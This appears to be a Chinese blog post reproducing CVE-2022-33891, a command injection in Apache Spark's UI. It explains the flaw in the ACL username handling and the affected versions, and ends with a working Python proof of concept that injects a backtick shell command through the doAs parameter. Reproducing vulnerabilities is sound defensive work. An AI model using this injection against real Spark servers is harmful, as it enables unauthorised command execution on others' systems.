CVE-2022-33891 Apache Spark 命令注入复现

一、漏洞概述

      Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。Spark是UC Berkeley AMP lab (加州大学伯克利分校的AMP实验室)所开源的类Hadoop MapReduce的通用并行框架,Spark,拥有Hadoop MapReduce所具有的优点;但不同于MapReduce的是——Job中间输出结果可以保存在内存中,从而不再需要读写HDFS,因此Spark能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。

二、影响版本

  • ≤3.0.3
  • 3.1.1 - 3.1.2
  • 3.2.0 - 3.2.1

三、漏洞原理

  Apache Spark UI 可以设置选项 spark.acls.enable 启用 ACL ,使用身份验证过滤器。用以检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL则 HttpSecurityFilter 中的代码路径可以允许用户通过提供任意用户名来执行命令。该功能最终将根据用户输入构建一个 Unix shell 命令并执行它,最终导致任意命令执行。——https://blog.csdn.net/qq_42660246/article/details/125902229

四、漏洞复现环境

OS:Kali Linux 

Apache Spark versions:3.0.3(https://archive.apache.org/dist/spark/spark-3.0.3/spark-3.0.3-bin-hadoop3.2.tgz

五、实验步骤

1.下载Apache Spark 3.0.3,并解压

 2.启动 Apache spark 项目,访问页面(这里要启用spark.acls.enable)

./bin/spark-shell --conf spark.acls.enable=true

3.抓包,构造恶意请求,执行命令注入

4.回到“/”目录下,可以看到生成了新文件

六、修复方式

官方已发布新版本修复了该漏洞,请受影响的用户升级前请将资料备份,并进行充分测试到安全版本:https://github.com/apache/spark/tags

七、Poc

import requests
import argparse
import os

def exploit(url):
    url = "http://"+url+"/jobs/?doAs=`touch%20/wavesky.txt`"
    response = requests.get(url=url)
    if(response.status_code == 403):
        if(os.access("/wavesky.txt",os.F_OK)):
            print("It looks likely vulnerable")
            os.system('ls /')
            # If you don't want to save this file,please delete '#' in nextline
            # os.system('rm -rf /wavesky.txt') 
             
        else:
            print("It is strong")
    else:
        print("It is strong")


if __name__ == '__main__':
    parameter = argparse.ArgumentParser(description='Poc CVE-2022-33891:')
    parameter.add_argument('-file',help='url file',required=False)
    parameter.add_argument('-url',help='ip:port',required=False)
    para = parameter.parse_args()

    if para.url:
        exploit(para.url)
        exit()
    else:
        parameter.print_help()

 Github——Poc/Poc_CVE-2022-33891.py at main · wave-to/Poc · GitHub

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值